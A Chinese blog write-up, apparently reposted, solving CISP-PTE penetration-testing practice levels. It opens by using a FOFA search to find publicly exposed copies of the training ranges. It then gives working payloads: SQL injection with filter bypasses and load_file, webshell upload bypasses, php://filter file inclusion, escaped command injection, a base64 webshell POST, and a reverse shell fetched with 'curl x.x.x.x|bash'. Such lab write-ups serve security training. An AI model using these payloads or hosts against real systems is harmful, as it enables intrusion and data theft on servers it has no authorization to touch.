免费获取CSIP-PTE题目及通关

2023-12-28 21:10

本文主要是介绍免费获取CSIP-PTE题目及通关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

白嫖CSIP-PTE题目及通关

前言

一直以来想考一个CISP-PTE的证书,但他的价格实在也是"亲民"(考证加培训大概2w多,md,谁考的起),但是不去考证练他的训练题也找不到,今天教一手如何去白嫖题目
打开万能的FOFA引擎
输入

body="CISP-PTE"


有些网站打开就是他的题目哦,白嫖真香

接下来就可以愉快的进行通关了

解题过程

SQL注入


进入关卡

这里直接将SQL语句告诉了你,根据SQL语句就是判断出闭合方式应该为%'),如何再加上注释符即可,需要注意的是,这里#是被过滤了,所以用–+注释

判断字段数

1%') order by 5--+ #回显正常
1%') order by 10--+ #回显错误
1%') order by 8--+ #回显错误
1%') order by 7--+ #回显正常

所以判断字段数为7,确实回显位置

-1%') ununionion select 1,2,3,4,5,6,7--+


需要注意的是这里union被过滤了,双写即可绕过
题目说flag在/tmp/key文件中,用load_file查看即可

-1%') ununionion select 1,load_file("/tmp/key"),3,4,5,6,7--+

文件上传


进入题目

首先在一个空文档里写入一句话,然后将后缀改为jpg上传试试


jpg文件都被拦了,猜测可能是对文件内容有过滤,将eval大小写混合试一下

再次上传发现就可以上传成功了

如何在上传的时候使用burp拦包,经测试,这里不管是后缀大小写、加点、加空格、双写后缀、phtml、php3、php5、.htaccess、.user.ini文件均被拦截,那这里应该是白名单过滤了,尝试使用00截断

可以看到文件上传成功,访问上传的1.php利用一句话传参拿flag

这里说下,cat命令查看的话还必须要在源代码里面才能看到flag,而tac命令可以直接显示在页面上

文件包含


进入题目

利用file进行传参,没啥好说的,直接filter协议查看key值

将结果base64解码一下即可

命令执行


进入题目

也没啥好说的,经过fuzz发现过滤了一些查看文件内容的命令,如cat、tac、less、more、tail这些,将tac中间加入一个\即可

127.0.0.1;t\ac ../key.php

验证码爆破


进入题目

burp抓包进行爆破就对了,如果对验证码爆破不了解请看我的前一篇文章


爆破成功,输入密码拿flag

SQL注入


进入题目

页面直接将要执行的SQL语句打印在了屏幕上,根据SQL语句判断闭合方式应该为’),如何后面加上注释符即可,需要注意的是这里#和–+都被过滤了,所以这里使用00截断进行注释

1');%00


判断字段数

1') order by 1;%00


这里可以看到输入的空格也被过滤了,所以用%0a代替空格

1') %0a order %0a by %0a 5;%00 #回显错误
1') %0a order %0a by %0a 4;%00 #回显正常

所以判断字段数为4
确定回显位置

-1') %0a ununionion %0a select %0a 1,2,3,4;%00


这里需要注意的是union被过滤了,采用双写即可绕过
如何根据题目提示使用load_file读取/tmp/key的内容

-1') %0a ununionion %0a select %0a 1,load_file("/tmp/key"),3,4;%00

文件上传


进入题目

首先在空文档里写入一句话然后将后缀改为jpg进行上传


可以看到上传成功,对文件内容应该是没有过滤的,然后使用burp抓包进行修改后缀

上传php3后缀成功,访问1.php3

很可惜,虽然上传成功了,但是里面的代码并没有被成功执行,尝试后缀大小写上传

可以看到也上传成功了,访问1.phP

可以看到这次代码被成功执行了,使用x传参读flag

文件包含


进入题目

直接filter协议查看flag

将结果base64解码一下即可

命令执行


进入题目

经过fuzz可知也就过滤了ls、cat、more一些常见的命令,利用tac命令读文件即可

127.0.0.1;tac ../key.php

日志分析


进入题目

得到一个非常大的日志文件,先将他们复制到1.log里
内容实在太多,现在响应状态码为200的挑选出来

awk '($9 ~ /200/)' 1.log > 2.log 

查看2.log,终于在一处看到了一些奇怪的地方(这里真的看了很久很久,眼睛都要看瞎了)

这里看到三个可疑页面:adminlogin.php、upload.php、upload.php?action=upfile
依次进行访问
adminlogin.php

一个登入页面,但是不知道账号密码
upload.phpupload.php?action=upfile页面结果都是一篇空白,看到php结尾,并且是一篇空白,猜想可能是一句话木马,但是又不知道密码。前面adminlogin.php页面也不知道账号密码,那只能去尝试爆破一下了

竟然发现爆破出来了,使用admin:password123进行登入发现就可以得到flag

二阶SQL注入


进入题目

进入让我注册一个用户,然后题目描述使用admin登入后,就可以获得key1,瞬间让我想起了刷过的sqli-labs,这不跟那个二次注入一样吗
首先注册一个admin'#账户,密码设置为123456

然后使用admin'#:123456进行登入

这里显示不是admin用户,那点击重置密码
将密码重置为456789

然后再回到登入的页面使用admin:456789进入登入发现就会成功

文件上传


进入题目

首先在一个空文档里面写入一句话,然后将后缀改为jpg,看对文件内容是否有拦截


图片上传失败,那对文件内容肯定有拦截,将eval函数进行大小写替换

再次进行上传发现就能成功上传了
使用burp抓包改后缀

上传成功,访问1.php

文件代码被成功解析,使用x传参读取flag

文件包含


进入题目

使用file进行传参
再次使用filter协议读取文件

这次发现就不行了,经过测试,file后面只要不是view.html就是显示error,那只能从view.html文件里找线索了
访问view.html文件,查看源代码

发现一串php代码,并且有一串base64密文,进行解密

妥妥的一句话木马,构造payload,将要输入的命令base64加密一下即可
POST内容:Hello=1&z0=c3lzdGVtKCd0YWMgL3Zhci93d3cvaHRtbC9rZXkucGhwJyk7

代码审计


进入题目

审计一下代码,代码也很简单,首先会用cmd已get的方式接受你输入的内容,然后会将你输入内容的长度打印出来,然后如果传入的数据不为空并且长度小于或等于30的话就是使用exec函数去执行这个命令,否则就会执行highlight_file函数,最后会打印一下你当前的IP
这里有一个非常重要的地方,就是你传进来的内容如果小于30虽然他会使用exec去执行这条命令,但不会打印在屏幕上,因为没有输入函数,所以这里只能考虑反弹shell
因为输入的长度只能小于30,所以反弹shell的条件也是很苛刻的,但是可以使用curl进行反弹shell
准备一台服务器
进入/var/www/html目录,将index.html修改为以下内容

bash -i >& /dev/tcp/x.x.x.x/7777 0>&1 #填写自己的服务器IP


开启apache服务

service apache2 restart

然后使用nc监听本地的7777端口

然后在题目的位置进行传参

?cmd=curl x.x.x.x|bash #指向服务器的地址


然后查看监听的7777端口发现会成功反弹回来一个shell

查找一下key

成功获取key

命令执行


进入题目

经过fuzz发现管道符 ;、|、||、均被过滤,但是&没有被过滤
然后像ls、whoami、cat、tac、more、less、tail这些命令均被过滤了
最重点的是,他把php给过滤了,但是最终要看的文件名为key.php
不过也是小问题,在中间加上\均可逃过过滤
最终payload

127.0.0.1 && t\ac /var/www/html/key.p\hp

总结

总的来说,这些题目对我来说有些还是有点难度的,基本都是跟CTF类型的题目比较接近,经常刷CTF的大佬做这些题肯定也是分分钟秒杀的,很多地方确实需要头脑去思考,一定要仔细,就像题目里的日志审计,我就是一个一个数据包看的,可能有更好的方法,还是代码审计这个题目,刚做时总在想命令没有回显怎么办呢,也是看了以前的打靶记录看到反弹shell突然灵机一闪,反正总结就一句话,脑袋要懂得转弯,再就是一定要细心细心!!!

这篇关于免费获取CSIP-PTE题目及通关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/547314

相关文章

SpringBoot整合mybatisPlus实现批量插入并获取ID详解

《SpringBoot整合mybatisPlus实现批量插入并获取ID详解》这篇文章主要为大家详细介绍了SpringBoot如何整合mybatisPlus实现批量插入并获取ID,文中的示例代码讲解详细... 目录【1】saveBATch(一万条数据总耗时:2478ms)【2】集合方式foreach(一万条数

python获取网页表格的多种方法汇总

《python获取网页表格的多种方法汇总》我们在网页上看到很多的表格,如果要获取里面的数据或者转化成其他格式,就需要将表格获取下来并进行整理,在Python中,获取网页表格的方法有多种,下面就跟随小编... 目录1. 使用Pandas的read_html2. 使用BeautifulSoup和pandas3.

SpringBoot UserAgentUtils获取用户浏览器的用法

《SpringBootUserAgentUtils获取用户浏览器的用法》UserAgentUtils是于处理用户代理(User-Agent)字符串的工具类,一般用于解析和处理浏览器、操作系统以及设备... 目录介绍效果图依赖封装客户端工具封装IP工具实体类获取设备信息入库介绍UserAgentUtils

C# foreach 循环中获取索引的实现方式

《C#foreach循环中获取索引的实现方式》:本文主要介绍C#foreach循环中获取索引的实现方式,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录一、手动维护索引变量二、LINQ Select + 元组解构三、扩展方法封装索引四、使用 for 循环替代

Linux下如何使用C++获取硬件信息

《Linux下如何使用C++获取硬件信息》这篇文章主要为大家详细介绍了如何使用C++实现获取CPU,主板,磁盘,BIOS信息等硬件信息,文中的示例代码讲解详细,感兴趣的小伙伴可以了解下... 目录方法获取CPU信息:读取"/proc/cpuinfo"文件获取磁盘信息:读取"/proc/diskstats"文

Vue3组件中getCurrentInstance()获取App实例,但是返回null的解决方案

《Vue3组件中getCurrentInstance()获取App实例,但是返回null的解决方案》:本文主要介绍Vue3组件中getCurrentInstance()获取App实例,但是返回nu... 目录vue3组件中getCurrentInstajavascriptnce()获取App实例,但是返回n

SpringMVC获取请求参数的方法

《SpringMVC获取请求参数的方法》:本文主要介绍SpringMVC获取请求参数的方法,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下... 目录1、通过ServletAPI获取2、通过控制器方法的形参获取请求参数3、@RequestParam4、@

Python获取C++中返回的char*字段的两种思路

《Python获取C++中返回的char*字段的两种思路》有时候需要获取C++函数中返回来的不定长的char*字符串,本文小编为大家找到了两种解决问题的思路,感兴趣的小伙伴可以跟随小编一起学习一下... 有时候需要获取C++函数中返回来的不定长的char*字符串,目前我找到两种解决问题的思路,具体实现如下:

golang获取当前时间、时间戳和时间字符串及它们之间的相互转换方法

《golang获取当前时间、时间戳和时间字符串及它们之间的相互转换方法》:本文主要介绍golang获取当前时间、时间戳和时间字符串及它们之间的相互转换,本文通过实例代码给大家介绍的非常详细,感兴趣... 目录1、获取当前时间2、获取当前时间戳3、获取当前时间的字符串格式4、它们之间的相互转化上篇文章给大家介

Python获取中国节假日数据记录入JSON文件

《Python获取中国节假日数据记录入JSON文件》项目系统内置的日历应用为了提升用户体验,特别设置了在调休日期显示“休”的UI图标功能,那么问题是这些调休数据从哪里来呢?我尝试一种更为智能的方法:P... 目录节假日数据获取存入jsON文件节假日数据读取封装完整代码项目系统内置的日历应用为了提升用户体验,